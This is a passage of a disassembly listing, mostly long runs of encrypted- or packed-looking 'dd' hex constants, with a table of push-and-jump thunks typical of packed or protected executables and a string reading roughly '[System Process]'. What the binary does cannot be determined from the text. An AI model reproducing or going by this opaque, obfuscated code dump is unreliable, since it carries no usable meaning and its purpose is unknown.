7BCD3F40h, 4C97DB57h, 0AF27E06Dh, 0E06D986Bh dd 0B3F86227h, 0DF39BB49h, 0BA1B577Dh, 0A0B7F62Bh, 85C9ED1Ah dd 27E0487Eh, 42B0127Ch, 583E62C4h, 1CEE81D7h, 20B30D8Eh dd 0F379EC4Eh, 3A47C8B6h, 0A980EBE2h, 0D82A7C17h, 84E670B4h dd 3EE421F2h, 864D91BDh, 44DE0E64h, 6CF588DAh, 710A3734h dd 2072C40Ah, 9CBB9BFCh, 0DC335BE9h, 0CE60077Ah, 42E15DE9h dd 7BD5AF7h, 24000000h, 12036h, 0C9D6D00h, 8430EEFFh, 0E93B5BF2h dd 0E99B81C5h, 9C8221F2h, 3D62C41Ah, 62F47AD3h, 373AFF99h dd 67A4Ah, 97F16E00h, 0D127AB51h, 0F65E58Bh, 44A423C9h dd 81D758FEh, 19A5FD3Bh, 54FA4098h, 8F357BD1h, 0C76DB30Dh dd 72A9EF49h, 0F851A2E6h, 489921F7h, 0B70D9D17h, 50E42DABh dd 0D8E679CFh, 0E640C254h, 195D0194h, 27E032CAh, 2749A610h dd 323CA640h, 0FB3DB94Dh, 967C54E5h, 0F55CBE18h, 76h, 0B70D9D5Ch dd 72E62DABh, 77F38768h, 5354E5FAh, 62h, 2130B197h, 68F36DBDh dd 18ABFDE6h, 0ABA33074h, 0BD2727E0h, 9D28096Bh, 52A1E50Dh dd 9827E032h, 3CB8DC2Eh, 0E032EBF8h, 7C85EF27h, 0DD62D90Ch dd 0FAE648E2h, 75F83C7Ch, 730662E3h, 0AEBC4FA1h, 9240D32Dh dd 238D2F10h, 6EC6492Fh, 8DA709DBh, 0CC6E76AAh, 1F6327E0h dd 54E508A4h, 0FFFE4C7Eh, 0D9DE5FFh, 0F6B17800h, 3587828Ah dd 0FAD2B11h, 0D2A43791h, 0B91BED80h, 6BEF4FCDh, 6EEA9E61h dd 4C54E5F5h, 240h, 3C9415B3h, 54B23218h, 1A8DEFC1h, 0A4378D0Ch dd 1C886FF9h, 20013FBBh, 0E2B4479Dh, 6996ECD9h, 0C0189907h dd 0DD33B69Ch, 0F016784Ah, 0DC6FC94Ah, 78CE5238h, 0DD0A13E5h dd 231BA13Fh, 0E5C4AA0Ch, 57D5BBDFh, 579B9F01h, 21F26649h dd 8B0EA10Bh, 6FF0CEB1h, 8E0FF519h, 6BCD9F32h, 861E9F45h dd 0C558AA04h, 0E608E59h, 2D1234DEh, 2C72CE4Fh, 18AB0586h dd 81A51792h, 2ABD1B9Bh, 0EA4CCA58h, 1F238557h, 1C43D9DBh dd 0F339A3D8h, 0CAEED4D5h, 63B79D69h, 0D537EDA2h, 95D955D1h dd 0D43CE34Eh, 1167E68Ch, 0F85AAC7Eh, 2EF99A2Ch, 5BEE58D2h dd 2A85E4EFh, 0CBACCECAh, 72962C7Dh, 11947AF6h, 6A5628BBh dd 0CA2A8599h, 0C995F761h, 0CC389E07h, 9458BF5h, 975AC7A8h dd 82E4F077h, 1C409614h, 26975CA0h, 1753C058h, 582600D3h dd 0E60CAC0h, 0AD2B39ACh, 55D00194h, 0B4F2FB4h, 0C0589FF8h dd 0B8469802h, 7A4CDF35h, 0C0A6E228h, 7D4FE240h, 4E74351Bh dd 996AAE2Ah, 61C0589Fh, 7194FD40h, 47996E0Ch, 539DE1E5h dd 91C64A13h, 0DF289427h, 0D2C645EDh, 0E9593E53h, 0D567480Dh dd 5FE2F083h, 0F5241952h, 1B6D08A0h, 442B0588h, 6E97BA2h dd 408BF672h, 42D473h, 9D3B0000h, 9DFB7A0Ch, 0C2E6380Ah dd 0F213387Eh, 9514BA21h, 0EE5AED3Fh, 0DE0DEDE1h, 1E8A6DFFh dd 0ED955EA2h, 3455DE0Dh dd 0D6349CA2h, 8BED3F14h, 0F882EB67h, 0A5C75Ah, 0AA0B0000h dd 8793A8CFh, 513294A5h, 2B6F9715h, 27E032D8h, 0D366B822h dd 59EC44C5h, 0D86BCD4Bh, 0A4EA4CCAh, 0E036B2A0h, 57B12F27h dd 4DB6F311h, 51AFF6D9h, 688CDE87h, 0B6FAD24h, 4AC8AEDEh dd 82D432B0h, 96BB1DEFh, 0A68C082Ch, 6739CC22h, 7E169705h dd 4416A9FFh, 8506ACF2h, 8822D22Bh, 0F5F8FF9Ch, 38608h dd 9BFD7A00h, 0D52BAF55h, 0B69E98Fh, 48A01FC5h, 85DB5C02h dd 1DA1013Fh, 58FE449Ch, 93397FD5h, 0CB71B711h, 6EA5EB4Dh dd 0FF559EE2h, 449521F7h, 3C941513h, 55B33218h, 0A927CDF3h dd 15F0094Fh, 0A0AE4197h, 657EC422h, 86059715h, 7F1274F2h dd 76095BADh, 0D668ECD2h, 9769FC52h, 0F775E345h, 6C3D5BA1h dd 0E0EE3256h, 321F21Dh, 0E3B04387h, 0D03ADE0Dh, 4CDF496Eh dd 0DE317E0h, 985FF1DEh, 0F82570ECh, 474E5Ah, 16920000h dd 0BF52B030h, 0EBF201EDh, 0CF34DE0Dh, 275F8F53h, 0DB3DA7ECh dd 0B60C9DFAh, 0D228AC92h, 96286C70h, 6421F213h, 94E640BEh dd 7B1B0F70h, 1AD68D71h, 0ED945B8h, 0EADE0D84h, 67E39758h dd 435AF844h, 10Bh, 419715AAh, 0C91FA0AEh, 0E33DBFA5h dd 69BF4250h, 3442B517h, 50A624B6h, 0D92FAFBDh, 0D0227446h dd 1BB12F3Dh, 2E840498h, 40448ADCh, 27E03652h, 0B1F751CFh dd 982B8D0Bh, 1259712h, 0DCB8BBDh, 0CA0E8ADEh, 0DE0DCA39h dd 0EF3357C1h, 0DE0DCAE4h, 0F51A7CE6h, 0A7EB678Bh, 0DE0DCA5Ch dd 2177F89Eh, 0B476DCFh, 0B84BA125h, 5F2B092Fh, 0B507B09Ah dd 863C6D53h, 266AE662h, 0DE0D16DDh, 8551B31Dh, 0D819BB0Ah dd 0DE5A7EE8h, 3845499Ah, 0C52791D4h, 0FE5ADBC1h, 14967CB8h dd 0F35527BAh, 99F50485h, 87D3BF06h, 9D308604h, 0CE2779CBh dd 0F5AF335Ch, 2EFF2h, 0F4000002h, 35DB2177h, 6F155BB1h dd 0AD5399EFh, 0EA90D62Eh, 8BC90F69h, 0C622A317h, 157DA80h dd 3D9315BBh, 75D351F7h, 286CF82Fh, 21F7FDDBh, 159DCE1Fh dd 50F63C94h, 0F22E74D2h, 32A13276h, 5DE027E0h, 5DA27407h dd 0EC5583Ch, 56A86E9Dh, 57EA48C8h, 9D422385h, 0AC92B60Ch dd 6D71D329h, 0F2139729h, 0D7FB6521h, 84176DF1h, 39DD50B2h dd 0E275D353h, 0ABFD53D4h, 0EC727D49h, 0FC8EDE0Dh, 1D138F3Bh dd 0CBEF5AF8h, 56000000h, 6CD71E7Fh, 0EF102A8Bh, 47A11F8Dh dd 0CB25A6B4h, 42E6CC38h, 0DFC527E0h, 38A60860h, 0DA165CBAh dd 27023979h, 4F5818DBh, 0B95083BAh, 3CAA0C47h, 4FD568BEh dd 44685Ah, 21F29B4Eh, 0DEFC42ACh, 91D5F9CBh, 0D81A3057h dd 8B072B95h, 39CCBC47h, 72D43ED4h, 0B107886Eh, 1A44C56Bh dd 39CC0DD6h, 0D563CDD4h, 4FA8FA52h, 0F5AE3ACBh, 4796669h dd 0F8000001h, 31D71D7Bh, 6B1157ADh, 0A1478DEBh, 0D67CC222h dd 77B5FB55h, 0B20E8F2Bh, 0ED43C66Ch, 297F01A7h, 69BF3DE3h dd 1C60EC23h, 21F7E2D7h, 7F91C213h, 4BF0171Eh, 6CCE0A49h dd 0DD237DFEh, 27A8B937h, 0B446779Ch, 2B31221Ch, 0F4766122h dd 8786B9EBh, 0B305B608h, 9715546Dh, 32D82B6Fh, 0FF4327E0h dd 27E032F4h, 0DD478CF6h, 6E54F88Bh, 300295EBh, 84E260CEh dd 0F789203Eh, 0A5C91B75h, 321EE529h, 72DC27E0h, 0CBC80C10h dd 0AF21F7F6h, 26A4B245h, 66E48AD0h, 0F3D97D10h, 3C065C75h dd 890F0CD8h, 4CF1337h, 0C6DE085Eh, 5F2EFA5Ch, 3997F6FAh dd 74F2C8AFh, 2E8DEE12h, 0DC3CBBD1h, 0CA227DD3h, 1E9C4268h dd 0A82735C8h, 763ABD50h, 24B70D90h, 11D6F052h, 173B9D1Bh dd 8DB1F9Bh, 0D288098Bh, 8B777C68h, 0A82A8809h, 3D9F094Eh dd 59F37117h, 0DFED80D8h, 0A072055Bh, 7C69FC4Eh, 3, 151A8BB3h dd 9FAD4098h, 2634C721h, 0A9B74AA4h, 2D3BCE26h, 0B3C154ACh dd 3543D632h, 0BDCB5EB6h, 4654E73Dh, 22D96CC2h, 65FE68h dd 243C8900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h dd 0EA4h, 68242C89h, 617C570h, 83241C8Bh, 8B5404C4h, 0C483242Ch dd 696804h, 1C890000h, 8458F24h, 5D2434FFh, 4C481h, 34FF0000h dd 0C4815B24h, 4, 0FB7601E9h, 0C06716FFh, 13F8F7DDh, 0D146B8C5h dd 0C5030617h, 5EA3E0FFh, 73310E6Bh, 0AA865F6Dh, 0F6FD4952h dd 0CADA7490h, 0E8903FEh, 8DB96BF3h, 5C985462h, 4F4E3F61h dd 9FFC626Dh, 0D67B02C3h, 9B51654Dh, 0EE620295h, 3C2346D3h dd 1BD93863h, 133770C5h, 601E4D8Ch, 7FAC7E90h, 0F74A6452h dd 5D8A59D5h, 68FF7C53h, 7CAA5D79h, 31C6182Bh, 8D8D2E49h dd 617D2F6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 83C35343h, 0A1A9E6E8h, 0B257F987h, 66515E50h, 54F1C081h dd 0D1B70F5Bh, 2DCD8D89h, 6A0612h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0E80BBAC3h, 0D993365Eh dd 0BBB63307h, 2A97EEF0h, 31BD85C7h, 595C0612h, 0BD8B0000h dd 61215F5h, 1185C7h, 612h, 0BE90000h, 0F5000000h, 58967836h dd 100A1A2Ah, 0B5FF94A2h, 61225B1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 9CC35040h, 0DC5C6752h, 0A8FE906Dh dd 278195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 89E814C3h, 1227ED85h, 0FF006A06h dd 1229D195h, 0EBC08B06h, 2489AF0Eh, 88DE0443h, 0F5838B14h dd 8D34FCE1h, 17D3D18Dh, 14E906h, 0EBD90000h, 4BF17428h dd 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 0D880C66Dh, 0CD8D892Dh dd 6A06122Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 5A68C353h, 0BD85C767h, 0D0061231h dd 8900005Bh, 1221358Dh, 1185C706h, 61200h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 420DC352h, 22275794h, 0B5FF3C02h, 6122B19h dd 0B1DA8166h, 8195FF3Bh, 6A061227h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCDBC356h dd 304CD976h, 0C3816600h, 95898BDDh, 6122A19h, 95FF006Ah dd 61229D1h, 2EEBC08Bh, 0D57EE54Ch, 4B87382h, 0CB6827BDh dd 48FAC6FCh, 0D0B01AF8h, 0CC6ED4A2h, 8DD8E669h, 46AE4900h dd 4D103B85h, 0BA1C6DB0h, 7B39BDCEh, 0FE896FCh, 2D000000h dd 6D64EBF5h, 725AA548h, 7769AF18h, 852B5997h, 61224A1h dd 9AB3BE5Bh, 0C3810938h, 6162h, 7E9h, 6B9DE700h, 3089037Eh dd 4C2070BAh, 0ABC2816Bh, 8B94B3F7h, 1202F585h, 0E933FF06h dd 0Eh, 7B893C76h, 7833F1ACh, 6CB9C5EDh, 60593AC4h, 21C1858Bh dd 12E90612h, 0C0000000h, 0FB94F673h, 0BC477DBFh, 0EB8D055Bh dd 0E4A752DCh, 0E981615Bh, 1B1A7296h, 959D01h, 0E9810612h dd 4028340Fh, 0E981F38Bh, 2202E4E2h, 21699D29h, 0B890612h dd 0AE8h, 9DD38200h, 7A55113Fh, 89962416h, 122DA98Dh, 0EB815806h dd 2995A5C7h, 24D4E2BFh, 0C3C38118h, 812995A5h, 8707B0F0h dd 850F4A66h, 1Bh, 2AE9FE8Bh, 15000000h, 0C10BD93Fh, 79D69345h dd 54184187h, 48AF71F2h, 0BE31A097h, 0BFD4AD7h, 0FFFF50E9h dd 4B10A9FFh, 0F8E15977h, 0F324B9CDh, 8D8D8D68h, 810617D5h dd 0F49ABDC0h, 0CD8D8922h, 6A06122Dh, 3E85700h, 20000000h dd 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F2FC357h, 85C7D3BFh dd 61231BDh, 6234h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0D2C35040h, 818D41C2h, 957E10DBh, 1185C75Ah dd 61200h, 0FF000000h, 1231F1B5h, 8529F806h, 612261Dh dd 278195FFh, 85090612h, 6120C95h, 95FF006Ah, 61229D1h dd 7EEBC08Bh, 846FBDDh, 123B4FDDh, 19D31ED4h, 495425BCh dd 5BDD3C8Ah, 894CE084h, 877578EBh, 7A8B4D4Dh, 350F7F6Ch dd 4CD059Bh, 0EA781AB0h, 75A2E360h, 92C5BCB9h, 0FB87833Dh dd 91865DE0h, 90ED8568h, 6B4CDA7Eh, 0CB8A9E8Fh, 0C663B256h dd 571F87D7h, 0BA8FC788h, 51354D7Fh, 9496BC94h, 0F64BD5Bh dd 0EEF72340h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h dd 9CDEB088h, 6F7DD7CCh, 7DE9ECECh, 0AE000001h, 0FC516C68h dd 9286876Eh, 0B04E7B4Ah, 0BB09A65Eh, 0B850AD50h, 0B309AE50h dd 8F50A55Eh, 86398E77h, 850DC22h, 6CD22776h, 9C9E23C2h dd 0F509BB0h, 2850EA12h, 1, 4000000h, 2 dup(0) dd 33000000h, 0 dd 8000000h, 0 dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h dd 45h dup(0) ; --------------------------------------------------------------------------- jmp loc_5DA8DA ; --------------------------------------------------------------------------- push 617D9A8h jmp loc_59027A ; --------------------------------------------------------------------------- push 617DAAEh jmp loc_59027A ; --------------------------------------------------------------------------- push 617DBAEh jmp loc_59027A ; --------------------------------------------------------------------------- push 617DC86h jmp loc_59027A ; --------------------------------------------------------------------------- push 617DDD9h jmp loc_59027A ; --------------------------------------------------------------------------- push 617DF0Fh jmp loc_59027A ; --------------------------------------------------------------------------- push 617DFD1h jmp loc_59027A ; --------------------------------------------------------------------------- push 617E0B8h jmp loc_59027A ; --------------------------------------------------------------------------- push 617E28Bh jmp loc_59027A ; --------------------------------------------------------------------------- push 617E353h jmp loc_59027A ; --------------------------------------------------------------------------- push 617E3FDh jmp loc_59027A ; --------------------------------------------------------------------------- push 617E4ADh jmp loc_59027A ; --------------------------------------------------------------------------- push 617E64Ah jmp loc_59027A ; --------------------------------------------------------------------------- push 617EB94h jmp loc_59027A ; --------------------------------------------------------------------------- push 617EC95h jmp loc_59027A ; --------------------------------------------------------------------------- db 0E8h dd 21C70D6Bh, 5B01479Dh, 91377DDBh, 0C66CB212h, 67A5EB45h dd 0A2FE7F3Bh, 0DD33B65Ch, 196FF197h, 59AF2DD3h, 0C50DC13h dd 21F7EAC7h, 785EB203h, 0FE0C9FF5h, 0C496297Fh, 7F2F1072h dd 3234BF03h, 4CB627E0h, 0F1FE7CEAh, 8B0A65B1h, 0BFC89A2Dh dd 0D22457F7h, 55B3313Fh, 2B8F10Fh, 0E1DA7DDEh, 0BA7F738Ch dd 0C6105458h, 421F2C2h, 827F84C8h, 117BDE0Eh, 34B59BBFh dd 9B077ADCh, 0DE0E824Ch, 8BCF30ACh, 75DDCD9h, 3A3CEFFEh dd 4DF9BED8h, 5AF756D1h, 58ADh, 0C9D1400h, 301692B6h, 29F557ADh dd 21F21397h, 16202586h, 0E7F0376h, 0EA4B87ACh, 0BE988ACAh dd 58AB97C3h, 0A2DE0DFEh, 0E753E638h, 0DE0DFE18h, 22B51391h dd 276B9314h, 0DE0DFEDCh, 0CF62B41Eh, 1ED89F21h, 0F68265F7h dd 5AF82E7Ah, 0FD53D5BBh, 0CF36986Ah, 0CDh, 41971536h dd 0C91FA0AEh, 4CAA2836h, 0CB2DABB9h, 0E7CD4985h, 0A6780B65h dd 0E03229BAh, 0E547B127h, 0E0360519h, 0E4108E27h, 37237DFEh dd 0D81FC9ACh, 2C72C42Eh, 1BAE0886h, 7E6A1677h, 209E1530h dd 0EBD1D8BEh, 0C44183C7h, 41ABDE0Dh, 5CB4371Dh, 6F95F7C9h dd 3E625851h, 196DE4FAh, 688CF6D8h, 2B8506ECh, 7EDA5BC9h dd 7B119238h, 0FE0C9FF9h, 0C496297Fh, 0F90A4E72h, 1D43977h dd 0FBEC4597h, 5BF5AE92h, 138A6B58h, 0F06D0000h, 28AC5298h dd 66E68CD2h, 0A524CA10h, 0E263094Fh, 0A0024086h, 0F93F991Ah dd 3278D053h, 6EB40A8Ch, 0A6EC4AC8h, 549FE36Fh, 9621F7EBh dd 94151445h, 0B432183Ch, 2FB1BF52h, 0FF2587D9h, 377DDB59h dd 0B60C9D1Eh, 13C84E92h, 4E8A21F2h, 0DECF90Ah, 459701DEh dd 0A6280EB2h, 0E543C250h, 0EC28B783h, 4CC8DE0Dh, 0FE91E766h dd 0CFB0CA2Ch, 0F81CBF3Bh, 9418FE5Ah, 77D9AB3Eh, 0E510h dd 97157700h, 240AAE41h, 0EBBD50A6h, 3E9A1B89h, 367B3FABh dd 36B427E0h, 57D6BCE0h, 3A9C6E01h, 96F06E14h, 962C7D03h dd 0C2942E72h, 0EC56DE0Dh, 0FB084CC8h, 0FFDE0DC2h, 0EB7437DEh dd 4B9DB818h, 0B87C3E9h, 0DD13CC7h, 0F254BEDEh, 6BEB9D0Ch dd 1B97BB0Dh, 0F85AB235h, 19785B2Ch, 89AD17D8h, 0B3AC90Dh dd 9DE1D439h, 0D4390B56h, 7BE52A94h, 0AE2F1519h, 0E93B9516h dd 247CFDA3h, 0AEEE9ACBh, 321F22F5h, 1284h, 488EEA67h dd 82C81EA2h, 0C0065CDCh, 0F73D9B1Ah, 3278D051h, 8F10AEF4h dd 0CA4DF339h, 4862C72h, 40BE64AAh, 0DD69A0E6h, 0F7E84A99h dd 0E3F9021h, 0C5859415h, 6199B61h, 4D96DAFEh, 8D27E058h dd 4F8BD123h, 0D051EB69h, 0C113E578h, 1573F15Fh, 29AD93CFh dd 0BD86E91Ch, 46989F0Fh, 971503E4h, 22A0AE41h, 58D87EC4h dd 0DB5967FAh, 5529377Dh, 163A8029h, 195347B5h, 2F91B784h dd 4BC9AF2Bh, 26885AEDh, 0F2334C5Ah, 8ED20E21h, 0DE0DCC45h dd 8EC91B85h, 87FD6472h, 0C70B8729h, 2583FF3Ch, 0CF254BEh dd 0BF03279Dh, 2391FCB1h, 300D1233h, 0E84C7F61h, 2C7D0396h dd 7AF67296h, 0B182AD36h, 0ADF12DDBh, 0DBB18226h, 86E83AA4h dd 0A40057BAh, 88CC48DDh, 0D1DC1C7Bh, 787157Fh, 0C02A4FB1h dd 0A238B69Ch, 6133C620h, 0A78DC90Fh, 6A3CCF29h, 0BA1C9A08h dd 4BF97A61h, 2EFF2F0h, 1184h, 488EEA67h, 82C81EA2h, 0C0065CDCh dd 0F73D9B1Ah, 3278D051h, 8F10AEF4h, 0CA4DF339h, 4862C72h dd 40BE64AAh, 0DD69A0E6h, 0F7E94A99h, 0E3F9021h, 0AE419715h dd 173B8128h, 50A51B6h, 0C0220615h, 5ACE78BCh, 0A20C21F2h dd 0DE38B65Ch, 452BA74Bh, 0ADC6FC5h, 0E6AD51Eh, 49AB15DEh dd 37BD4663h, 4A8A973h, 51375BADh, 111577CDh, 0D731AF95h dd 44107244h, 0D8198382h, 0E3F03470h, 0E7D436A2h, 21072B7Dh dd 59FF45A3h, 64EA7DDBh, 175B7F45h, 0D22174D1h, 82DC5E44h dd 96BB1DEFh, 0A422082Ch, 0D856FC42h, 0A6F95A7Eh, 1F76B83Ch dd 0AC377B9Fh, 2ECA5EB0h, 69EF62C4h, 0DA567A40h, 0B0C91A5Eh dd 0A711CA5Eh, 0AFB37945h, 0DF49CC4Ch, 0DBB47386h, 0E3D0D3E1h dd 10ACh, 70B6128Fh, 0AAF046CAh, 0E82E8404h, 1F65C342h dd 5AA0F879h, 0B738861Ch, 0F2751B61h, 2CAE549Ah, 68E68CD2h dd 591C80Eh, 0F7EE32C1h, 3667B821h, 266A9415h, 27E032DDh dd 3D61B31Dh, 0E97CD457h, 718FB517h, 3BFDCB38h, 2214F583h dd 42C6ACD0h, 42868AECh, 21F29E10h, 0CFDD70DAh, 12E12551h dd 0D8DE0E51h, 12F81C6Eh, 0B1D7398Fh, 982B8D0Bh, 1259712h dd 1C5167BDh, 89B05D8h, 50C4AB85h, 0FC8FE96Ah, 0DC5AC82Ah dd 9316347Ah, 9BC90D31h, 82D22E75h, 31C41A9Ch, 6ED8FD5Fh dd 0F94FCDDBh, 6147BB66h, 24F689DFh, 53C7A8C2h, 295EB6Dh dd 0C1E8CE30h, 755BD7FBh, 6C389AF2h, 0CC3828C6h, 0AE549A04h dd 0D743D630h, 0C0583808h, 6045A6B2h, 0F78F6F6h, 30880795h dd 0FDF3B4CEh, 8905297Fh, 5842BE45h, 70D23CC0h, 0D026A44Ah dd 0E7EC30ACh, 0E3C05842h, 1EA41779h, 0D115398Bh, 0C64A6DAFh dd 0CA28A88Eh, 0DE036537h, 79202E74h, 3A5E6445h, 51A4A8F6h dd 85C02AC0h, 57EA46C7h, 6E581CEBh, 368C1DFCh, 8E20CE12h dd 78E2FA79h, 185CD854h, 0F296A6CBh, 0D543A50Fh, 7FBB0157h dd 5DBF1599h, 841771EFh, 429BF576h, 0D3014325h, 59AD9A9Dh dd 3C00000Fh, 7D2369BFh, 0B75DA3F9h, 0F59BE137h, 32D81E76h dd 0D31157B1h, 0E6AEBCFh, 499F22C8h, 85DB5D03h, 0BD1B993Fh dd 70B44077h, 21F7EF63h, 15E51667h, 50F63C94h, 0EF5074D2h dd 0B9B4B0DEh, 0FF72D4C9h, 821573F1h, 79AF074h, 8A1D7BF9h dd 0FA2F87Ch, 0AA8D0F3Dh, 0AE91B310h, 0AEF452D0h, 0E5ADD652h dd 14EB454h, 151B0000h, 0A0AE4197h, 607EC422h, 0B4F7349h dd 21F21DFDh, 960295FFh, 0DE0DE349h, 0C5452BA7h, 0A80ADC6Fh dd 0A11DA98Eh, 7D5AF825h, 38h, 18997FE4h, 0F95B2DC0h, 249613h dd 0F2137ABCh, 6A8EF821h, 1CAF0584h, 975E84Ah, 0DE0DEDFEh dd 33A7881Ah, 0ED6073B7h, 6ADE0Dh, 1BFE7A9Eh, 0C1DC5AF8h dd 43000000h, 0AE419715h, 36C91FA0h, 0B94CAA28h, 52AE2F15h dd 0E15FEDBFh, 39B72587h, 775D99DFh, 0A66AE5F4h, 0AF28A62Ch dd 96F8CA5Dh, 0E065F6CAh, 67C13F27h, 14A60321h, 0D655ACF0h dd 0D53621F4h, 52D45387h, 0DE1FF3FCh, 8F4D96DAh, 238DDE0Bh dd 0E04A6FD1h, 0D95A40BCh, 2EAF1D7Fh, 65E68CD2h, 6A8BB20Bh dd 6063FF9Ch, 0E2373h, 2F890600h, 69BF43E9h, 0A7FD7D23h dd 0DC3CBB61h, 196FF096h, 0B10D95D3h, 0EC92D830h, 27CD1369h dd 5F054BA5h, 0A4187E1h, 0EDA93A7Eh, 0E03121F7h, 3C9415AFh dd 56D4BAF6h, 3219EA2Eh, 77E127E0h, 0AAEE9225h, 27E03259h dd 83E537A1h, 0B98A9715h, 529CC5BAh, 6881C719h, 0AE419715h dd 7EC422A0h, 82D85C42h, 891C72F4h, 69E755B7h, 0B3F67C0Fh dd 8BA9ED11h, 7121F211h, 6B3CC107h, 73000007h, 0A93C9415h dd 99B1F05h, 4AD82A8Ah, 7D96CCAh, 320ED9A5h, 9E0B27E0h dd 2B4F81Ch, 0D021F7E4h, 82C64266h, 0DE081871h, 0A9AD0F79h dd 9DE345C3h, 8C1F79F7h, 4AA3FD7Eh, 0FF9FFD29h, 6101EEF1h dd 4400000Dh, 852B71C7h, 0BF65AB01h, 0FDA3E93Fh, 3AE0267Eh dd 0DB195FB9h, 1672F3C7h, 51A72AD0h, 8DE3650Bh, 0C523A147h dd 78BC487Fh, 21F7ED6Bh, 15ED1E6Fh, 0BAF63C94h, 6BFE54D4h dd 4BC93799h, 320CD71Bh, 64CE27E0h, 0A8FA54D6h, 0C41A9E84h dd 8AFD5F31h, 15A8FE7Ch, 5B511638h, 2DBF3FDDh dd 0EEC053A9h, 77FB099Ch, 6ABC8E21h, 0FA76D218h, 0D854E5FAh dd 0Dh, 38DDB73Fh, 259227E0h, 0FFFFFDEFh, 3228B75Ch, 0C0E927E0h dd 165AD6FAh, 27E032CDh, 9315A30Dh, 93D7DB3Dh, 21F7E475h dd 563A77D8h, 852D120h, 77D92B89h, 1B28AC52h, 0F9947ECEh dd 0B002548Ah, 2B482B8Ch, 0E2177716h, 84007C80h, 84AB340h dd 0A11637DEh, 0F6A4F5CEh, 4FBD1F71h, 8B3177D1h, 0A18AB0Dh dd 0ABD62F89h, 2BFF9FF2h, 0C7A3B28h, 0E05D0000h, 189C4288h dd 56D67CC2h, 9514BA00h, 0D253F93Fh, 0B0F23076h, 0E92F890Ah dd 2268C043h, 5EA4FA7Ch, 96DC3AB8h, 448FD35Fh, 8621F7D2h dd 97150435h, 0B4371D41h, 7987FA5Ch, 2D0A9DFBh, 0C846240Bh dd 50CC286Eh, 2E54E5FAh, 0Dh, 38DDB795h, 259227E0h, 0FFFFFD2Fh dd 0B60C9D5Ch, 3C684E92h, 0C02A21F2h, 0C337C12Dh, 57D3DE0Dh dd 0C34C97DBh, 6D8EDE0Dh, 0B4F99E27h, 0AD0F61D9h, 9C18AC93h dd 0DD5AF8B4h, 44876F7h, 0DE0D78FFh, 0AC3F91FBh, 8D1178DAh dd 55000001h, 295EB6Fh, 0C422A230h, 18B78162h, 0CD27E032h dd 3C9A184Eh, 74D250F6h, 320275E1h, 38727E0h, 8A0C1AADh dd 0A2C4A134h, 3E181BDDh, 67058379h, 6EF78AE6h, 5AEC1D16h dd 3F91E3E4h, 0EBCDDBF9h, 6ACC4A58h, 0A6007E24h, 4528A713h dd 962827E0h, 0C7E445D1h, 0A5EA9701h, 65E10567h, 4154E51Eh dd 128h, 861E9F85h, 481AAD03h, 15B394F6h, 0AAE4197h, 8E0EA024h dd 81D3A538h, 4CBA1CEEh, 143278CEh, 0C70B2F95h, 21F21D39h dd 59715BBh, 4CDF3187h, 2995287Ah, 0DE0DE3DEh, 61F454D3h dd 0E275D353h, 2BCDB234h, 0F98D7204h, 5AF8257Dh, 2759h dd 0C9DC000h, 0C84E92B6h, 8A21F213h, 0D6218D20h, 32DE0DECh dd 0F84ED0B6h, 17319365h, 1D28A450h, 97065AF8h, 6D000000h dd 0AE419715h, 36C91FA0h, 0B94CAA28h, 0B5F92DABh, 27E0322Eh dd 0AAF042ACh, 0E02A0AA6h, 8725A327h, 0D1A2AB05h, 0A1108D6Eh dd 6785CB1Dh, 765C8042h, 36089BF5h, 358CD0D4h, 0F5DE0B43h dd 381678Bh, 0B24012A5h, 7446D92Fh, 0A7280E12h, 0E4650B51h dd 0E66C338Ch, 104FF9Ch, 0AA714h, 0AB0D8A00h, 0E53BBF65h dd 1B79F99Fh, 58B02FD5h, 95EB6C12h, 2D91114Fh, 680E54ACh dd 0A3498FE5h, 0DB81C721h, 7EB5FB5Dh, 0D025AEF2h, 54A521F7h dd 3C941523h, 74D250F6h, 9715152Eh, 0A90AAE41h, 0E442E7Ah dd 0B72587BCh, 0C820A339h, 1BAB3076h, 0E2000004h, 18912DADh dd 0EF3A7EA2h, 6F21F7E4h, 1576CA05h, 6BAF0994h, 0DE085E98h dd 33EFF862h, 785EC01Eh, 81678B31h, 3C40A202h, 1AAC26F8h dd 0B74AB4D8h, 3653BC4Bh, 0E5CA5CD4h, 0AF098B71h, 95AD294Dh dd 9489610Fh, 0F0000003h, 0E03228B7h, 32FB0327h, 654427E0h dd 0DF73B5Fh, 0CF21F22Fh, 0BFBF6EAEh, 7F51E43Ch, 7090A576h dd 24CCC51Eh, 494CFF9Ah, 9DF5Ch, 0E345C200h, 1D73F79Dh dd 53B131D7h, 90E8670Dh, 0CD23A44Ah, 65594987h, 0A0468CE4h dd 0DB81C71Dh, 13B9FF59h, 0B6ED3395h, 0D11DE62Ah, 8CDD21F7h dd 1B997F5Bh, 0F6582ABDh, 19AC0A88h, 80A41693h, 3233C004h dd 4DB727E0h, 11A3E7EBh, 0DB21F7E4h, 9EF2B71h, 0E7CD2F85h dd 98DC00C2h, 0D81FCE06h, 60466AD4h, 3D4187DDh, 0D430679Ah dd 0EC701697h, 0BF204496h, 388B50D5h, 759BFD72h, 75D35339h dd 68C60D51h, 9A04D430h, 0F147CA38h, 74D2505Eh, 6C4E5BE1h dd 7CA60448h, 0AE54D222h, 2982D42Ah, 0EBC99152h, 350AF7FAh dd 18000009h, 51F73D9Bh, 8B3177CDh, 0C167AD0Bh, 0F69CE242h dd 97D51B75h, 0D22EAF0Bh, 0D63E68Ch, 499F21C7h, 89DF5D03h dd 3C800C43h, 21F7D1B7h, 7FB1E233h, 59BB1999h, 60843673h dd 0F7E49A1Ch, 0CAEE5821h, 0E70B61E4h, 0C1238101h, 1A72F59Bh dd 329010F6h, 